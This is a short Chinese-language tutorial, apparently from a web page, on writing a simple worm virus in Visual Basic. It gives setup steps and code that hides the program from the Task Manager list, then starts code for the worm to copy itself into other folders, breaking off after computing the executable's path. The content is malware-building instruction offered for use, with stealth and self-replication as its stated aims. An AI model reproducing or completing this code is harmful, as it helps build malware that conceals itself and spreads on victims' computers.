簡單的病毒編程代碼

蠕蟲病毒小代碼

打開Visual Basic，選擇“Standard EXE”的Project。移除那個Form，然後加入壹個Module。點擊Project->Project1 Properties。在彈出來的窗口中，把Startup Object改為“Sub Main”。在Module中，鍵入以下的編碼：

Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。

以上的編碼只是把程序從End Task表中除掉，沒什麽作用。現在，讓這個VB蠕蟲自行復制去別的文件夾。

在Sub Main中鍵入以下的編碼：

＇阻止問題發生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "\" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。